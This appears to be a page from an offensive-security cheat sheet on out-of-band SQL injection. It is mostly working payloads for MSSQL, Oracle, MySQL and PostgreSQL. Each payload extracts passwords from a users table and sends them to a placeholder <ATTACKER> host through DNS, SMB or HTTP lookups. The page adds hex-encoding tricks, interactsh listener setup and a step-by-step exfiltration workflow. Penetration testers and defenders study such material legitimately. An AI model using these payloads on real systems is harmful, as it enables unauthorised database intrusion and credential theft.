Out-of-band SQLi
When the application returns no error, no reflected output, no behavioural change, and no observable timing difference, the database can still leak data - by making it talk to a server you control. Trigger a DNS lookup or HTTP request from the database and read the data on your end.
'; DECLARE @data varchar(1024); SELECT @data = (SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\\'+@data+'.<ATTACKER>\share"')-- -' || (SELECT UTL_HTTP.REQUEST('http://'||(SELECT password FROM users WHERE rownum=1)||'.<ATTACKER>') FROM dual)-- -' || (SELECT DBMS_LDAP.INIT((SELECT password FROM users WHERE rownum=1)||'.<ATTACKER>',80) FROM dual)-- --- UNC path triggers SMB lookup; Windows MySQL only' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.<ATTACKER>\\share'))-- --- Requires superuser'; COPY (SELECT '') TO PROGRAM 'nslookup '||(SELECT password FROM users LIMIT 1)||'.<ATTACKER>'-- -When to use
Section titled “When to use”| Condition | Use OOB? |
|---|---|
| Visible errors / output | No - use UNION-based |
| Boolean oracle works | No - use Boolean blind |
| Time delays measurable | No - use Time blind |
| None of the above + DB has egress | Yes |
Setting up the listener
Section titled “Setting up the listener”Use Burp Collaborator, interactsh, or your own DNS server.
# interactshinteractsh-client# Returns a unique <id>.oast.fun (or similar) host# Use this in payloads as <ATTACKER>Each DNS lookup or HTTP request to <extracted_data>.<id>.oast.fun shows up in the client output, with the leaked data as a subdomain label.
Workflow
Section titled “Workflow”-
Confirm OOB egress - fire a payload that just triggers a callback with a static value:
' || (SELECT UTL_HTTP.REQUEST('http://test.<ATTACKER>') FROM dual)-- -If
test.<ATTACKER>shows up in your collaborator, the DB can egress. -
Replace the static value with a query - extract data:
' || (SELECT UTL_HTTP.REQUEST('http://'||(SELECT password FROM users WHERE rownum=1)||'.<ATTACKER>') FROM dual)-- - -
Read the leaked data in the collaborator/interactsh output. The subdomain label is the extracted value.
DNS character restrictions
Section titled “DNS character restrictions”DNS labels allow only a-z 0-9 - and are limited to 63 chars per label. Encode binary data as hex:
' UNION SELECT LOAD_FILE(CONCAT('\\\\', HEX((SELECT password FROM users LIMIT 1)), '.<ATTACKER>\\share'))-- -' || (SELECT UTL_HTTP.REQUEST('http://' || RAWTOHEX(UTL_RAW.CAST_TO_RAW((SELECT password FROM users WHERE rownum=1))) || '.<ATTACKER>') FROM dual)-- -For data > 63 chars, split into chunks across multiple labels or multiple lookups.
- OOB is the slowest but most reliable extraction class for fully-blind targets.
- DNS exfil is preferred over HTTP - UDP/53 is rarely blocked outbound, even when 80/443 are.
- This is one of the few SQLi classes that requires the database server to have outbound network access. Fully-isolated databases cannot be exfiltrated this way.
- For large extractions, prefer building a small bash loop that splits the data at the SQL layer and pages through it, rather than trying to fit everything into one DNS label.